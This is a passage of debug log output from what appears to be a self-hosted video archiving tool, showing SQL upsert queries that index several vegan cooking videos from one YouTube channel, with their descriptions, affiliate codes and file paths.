("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode, I tried 3 vegan recipes from Pamela Anderson's new vegan cookbook. This will show you typical vegan recipes that someone would eat on a vegan diet as I'll make a breakfast, lunch/snack, and dinner recipe from the book. \n\nWant to try out the protein powders I used in this video? Get a discount below on Sprout Living Protein Powder and Complement:\n\n20% off at Sprout Living\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\n15% off your first purchase at Complement (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nCHECK OUT steamyvegan.com FOR MORE EXCLUSIVE DISCOUNTS\n\nThis is the 3rd time I've made recipes from this book. Check out the first 2 episodes below:\nEpisode 1: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\nEpisode 2: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\n\nWnat to see more celebrity recipes I've made? Check these ones out:\nAriana Grande Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Ariana\u00A0Grande's...\u00A0\u00A0\nBillie Eilish's Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0the\u00A0VIRAL\u00A0Billie\u00A0Eilish\u00A0Vegan\u00A0Noodl...\u00A0\u00A0\nNatalie Portman's Chickpea Stew: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Natalie\u00A0Portman's\u00A0FAVORITE\u00A0Vegan\u00A0R...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTimestamps:\n0:00 - Introduction\n1:15 - California Acai Bowl\n4:49 - Almond Grapefruit Cake\n9:42 - Plant-based Protein Powders I'm Using\n11:43 - Curried Chickpea Salad Leftovers\n15:53 - Vegan Salad Pizza", "Recipes from Pamela Anderson's VEGAN Cookbook! 🌱(What I Eat in a Day on a Vegan Diet)", "3d688329-e7b4-43cd-bd36-150f0975f8c4", 1, [], false, "kLN8ZchD_uE", "https://www.youtube.com/watch?v=kLN8ZchD_uE", 72, "/downloads/downloads/alec/Steamy Vegan/2025-07-18 Recipes from Pamela Anderson's VEGAN Cookbook! 🌱(What I Eat in a Day on a Vegan Diet)/Recipes from Pamela Anderson's VEGAN Cookbook! 🌱(What I Eat in a Day on a Vegan Diet) [kLN8ZchD_uE].NA", false, false, false, 1, ~U[2025-07-18 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this episode, I tried 3 vegan recipes from Pamela Anderson's new vegan cookbook. This will show you typical vegan recipes that someone would eat on a vegan diet as I'll make a breakfast, lunch/snack, and dinner recipe from the book. \n\nWant to try out the protein powders I used in this video? Get a discount below on Sprout Living Protein Powder and Complement:\n\n20% off at Sprout Living\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\n15% off your first purchase at Complement (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nCHECK OUT steamyvegan.com FOR MORE EXCLUSIVE DISCOUNTS\n\nThis is the 3rd time I've made recipes from this book. Check out the first 2 episodes below:\nEpisode 1: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\nEpisode 2: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\n\nWnat to see more celebrity recipes I've made? Check these ones out:\nAriana Grande Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Ariana\u00A0Grande's...\u00A0\u00A0\nBillie Eilish's Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0the\u00A0VIRAL\u00A0Billie\u00A0Eilish\u00A0Vegan\u00A0Noodl...\u00A0\u00A0\nNatalie Portman's Chickpea Stew: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Natalie\u00A0Portman's\u00A0FAVORITE\u00A0Vegan\u00A0R...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTimestamps:\n0:00 - Introduction\n1:15 - California Acai Bowl\n4:49 - Almond Grapefruit Cake\n9:42 - Plant-based Protein Powders I'm Using\n11:43 - Curried Chickpea Salad Leftovers\n15:53 - Vegan Salad Pizza", "Recipes from Pamela Anderson's VEGAN Cookbook! 🌱(What I Eat in a Day on a Vegan Diet)", 1, nil, false, "kLN8ZchD_uE", "https://www.youtube.com/watch?v=kLN8ZchD_uE", "/downloads/downloads/alec/Steamy Vegan/2025-07-18 Recipes from Pamela Anderson's VEGAN Cookbook! 🌱(What I Eat in a Day on a Vegan Diet)/Recipes from Pamela Anderson's VEGAN Cookbook! 🌱(What I Eat in a Day on a Vegan Diet) [kLN8ZchD_uE].NA", false, ~U[2025-07-18 00:00:00Z]] 20:31:06.675 [debug] QUERY OK source="sources" db=0.6ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.678 [debug] QUERY OK source="media_items" db=2.2ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-13 00:00:00Z], 1] 20:31:06.685 [debug] QUERY OK source="media_items" db=6.2ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This healthy high protein vegan meal prep will give you several easy vegan recipes to enjoy during the week, especially during a heatwave! These healthy vegan recipes require no cooking, are fast to make and will keep you refreshed and cool all week long. The only equipment needed is a blender, food processor and kettle. Enjoy these high protein vegan meals!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\nWant to try out the protein powders I used in this video? Get a discount below on Sprout Living Protein Powder:\n\n20% off at Sprout Living\nCode: STEAMYVEGAN20\nLink: https://go.sproutliving.com/steamyveg...\n\nCheck out part 1 of my no cooking meal prep here: \n\u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0100g...\u00A0\u00A0\n\nLooking for more summer recipes? Check out these salads:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\nPotato Salad: \u00A0\u00A0\u00A0•\u00A0Potato\u00A0Salad\u00A0w/\u00A0Grilled\u00A0Green\u00A0Onions\u00A0&\u00A0Dil...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:38 - Muesli Recipe\n5:24 - Curried Chickpea Salad\n11:21 - Vegan Gazpacho\n18:10 - Vegan Chocolate Cheesecake Cups", "NO COOKING Healthy High-Protein Vegan Meal Prep PART 2 💪🏼 100g protein, 1800 calories", "7acb0ea9-d13b-4c08-8279-96840a997bda", 1, [], false, "HZlsh2RMyI4", "https://www.youtube.com/watch?v=HZlsh2RMyI4", 73, "/downloads/downloads/alec/Steamy Vegan/2025-07-13 NO COOKING Healthy High-Protein Vegan Meal Prep PART 2 💪🏼 100g protein, 1800 calories/NO COOKING Healthy High-Protein Vegan Meal Prep PART 2 💪🏼 100g protein, 1800 calories [HZlsh2RMyI4].NA", false, false, false, 1, ~U[2025-07-13 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This healthy high protein vegan meal prep will give you several easy vegan recipes to enjoy during the week, especially during a heatwave! These healthy vegan recipes require no cooking, are fast to make and will keep you refreshed and cool all week long. The only equipment needed is a blender, food processor and kettle. Enjoy these high protein vegan meals!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\nWant to try out the protein powders I used in this video? Get a discount below on Sprout Living Protein Powder:\n\n20% off at Sprout Living\nCode: STEAMYVEGAN20\nLink: https://go.sproutliving.com/steamyveg...\n\nCheck out part 1 of my no cooking meal prep here: \n\u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0100g...\u00A0\u00A0\n\nLooking for more summer recipes? Check out these salads:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\nPotato Salad: \u00A0\u00A0\u00A0•\u00A0Potato\u00A0Salad\u00A0w/\u00A0Grilled\u00A0Green\u00A0Onions\u00A0&\u00A0Dil...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:38 - Muesli Recipe\n5:24 - Curried Chickpea Salad\n11:21 - Vegan Gazpacho\n18:10 - Vegan Chocolate Cheesecake Cups", "NO COOKING Healthy High-Protein Vegan Meal Prep PART 2 💪🏼 100g protein, 1800 calories", 1, nil, false, "HZlsh2RMyI4", "https://www.youtube.com/watch?v=HZlsh2RMyI4", "/downloads/downloads/alec/Steamy Vegan/2025-07-13 NO COOKING Healthy High-Protein Vegan Meal Prep PART 2 💪🏼 100g protein, 1800 calories/NO COOKING Healthy High-Protein Vegan Meal Prep PART 2 💪🏼 100g protein, 1800 calories [HZlsh2RMyI4].NA", false, ~U[2025-07-13 00:00:00Z]] 20:31:06.686 [debug] QUERY OK source="sources" db=1.3ms idle=12.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.689 [debug] QUERY OK source="media_items" db=2.5ms idle=12.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-10 00:00:00Z], 1] 20:31:06.692 [debug] QUERY OK source="media_items" db=1.8ms idle=14.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This quick high protein vegan recipe only takes 20 minutes to cook and can be easily made gluten-free, vegan, and high-protein.🌱 Pesto pasta is one of my go-to lazy and super easy vegan recipes for weeknights and it's macros are great for weight loss and building muscle! 💪🏼 I use a few unique substitutions to make my pesto pasta a little cheaper as well. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFull recipe on my blog! 👉🏻 https://steamyvegan.com/protein-pesto...\n\n\nCheck out these easy 20 minute recipes for more recipe inspo:\nGinger Beef & Broccoli Stir Fry: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\n20 minute Tofu Noodle Bowls: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Pesto Pasta Recipe with 30g of PROTEIN! 💪🏼 (vegan, gluten-free recipe)", "b2a41a5b-71be-42aa-9499-01e605cb3fd2", 1, [], false, "MMZgbn1fEFQ", "https://www.youtube.com/watch?v=MMZgbn1fEFQ", 74, "/downloads/downloads/alec/Steamy Vegan/2025-07-10 Pesto Pasta Recipe with 30g of PROTEIN! 💪🏼 (vegan, gluten-free recipe)/Pesto Pasta Recipe with 30g of PROTEIN! 💪🏼 (vegan, gluten-free recipe) [MMZgbn1fEFQ].NA", false, false, false, 1, ~U[2025-07-10 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This quick high protein vegan recipe only takes 20 minutes to cook and can be easily made gluten-free, vegan, and high-protein.🌱 Pesto pasta is one of my go-to lazy and super easy vegan recipes for weeknights and it's macros are great for weight loss and building muscle! 💪🏼 I use a few unique substitutions to make my pesto pasta a little cheaper as well. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFull recipe on my blog! 👉🏻 https://steamyvegan.com/protein-pesto...\n\n\nCheck out these easy 20 minute recipes for more recipe inspo:\nGinger Beef & Broccoli Stir Fry: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\n20 minute Tofu Noodle Bowls: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Pesto Pasta Recipe with 30g of PROTEIN! 💪🏼 (vegan, gluten-free recipe)", 1, nil, false, "MMZgbn1fEFQ", "https://www.youtube.com/watch?v=MMZgbn1fEFQ", "/downloads/downloads/alec/Steamy Vegan/2025-07-10 Pesto Pasta Recipe with 30g of PROTEIN! 💪🏼 (vegan, gluten-free recipe)/Pesto Pasta Recipe with 30g of PROTEIN! 💪🏼 (vegan, gluten-free recipe) [MMZgbn1fEFQ].NA", false, ~U[2025-07-10 00:00:00Z]] 20:31:06.694 [debug] QUERY OK source="sources" db=0.8ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.696 [debug] QUERY OK source="media_items" db=2.1ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-07 00:00:00Z], 1] 20:31:06.698 [debug] QUERY OK source="media_items" db=1.6ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is perfect for those busy weeknights when you want something that's an easy vegan recipe, high protein, healthy and takes under 20 minutes. My ginger beef stir fry is probably my favourite high protein vegan recipe of 2025 and I'm certain this will be a regular in your weekly meal prep plan. \n\nCheck out these easy 20 minute recipes for more recipe inspo:\n20 minute Tofu Noodle Bowls: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nVegan Ginger Beef Recipe ➡️ https://steamyvegan.com/vegan-ginger-...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Ginger Beef Stir Fry! EASY 20 Minute Vegan Recipe", "4fe5a531-571d-424e-8ae2-15d140d238cc", 1, [], false, "NtrUBMyKSyc", "https://www.youtube.com/watch?v=NtrUBMyKSyc", 75, "/downloads/downloads/alec/Steamy Vegan/2025-07-07 VEGAN Ginger Beef Stir Fry! EASY 20 Minute Vegan Recipe/VEGAN Ginger Beef Stir Fry! EASY 20 Minute Vegan Recipe [NtrUBMyKSyc].NA", false, false, false, 1, ~U[2025-07-07 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This is perfect for those busy weeknights when you want something that's an easy vegan recipe, high protein, healthy and takes under 20 minutes. My ginger beef stir fry is probably my favourite high protein vegan recipe of 2025 and I'm certain this will be a regular in your weekly meal prep plan. \n\nCheck out these easy 20 minute recipes for more recipe inspo:\n20 minute Tofu Noodle Bowls: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nVegan Ginger Beef Recipe ➡️ https://steamyvegan.com/vegan-ginger-...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Ginger Beef Stir Fry! EASY 20 Minute Vegan Recipe", 1, nil, false, "NtrUBMyKSyc", "https://www.youtube.com/watch?v=NtrUBMyKSyc", "/downloads/downloads/alec/Steamy Vegan/2025-07-07 VEGAN Ginger Beef Stir Fry! EASY 20 Minute Vegan Recipe/VEGAN Ginger Beef Stir Fry! EASY 20 Minute Vegan Recipe [NtrUBMyKSyc].NA", false, ~U[2025-07-07 00:00:00Z]] 20:31:06.699 [debug] QUERY OK source="sources" db=0.9ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.702 [debug] QUERY OK source="media_items" db=2.1ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 00:00:00Z], 1] 20:31:06.704 [debug] QUERY OK source="media_items" db=1.6ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 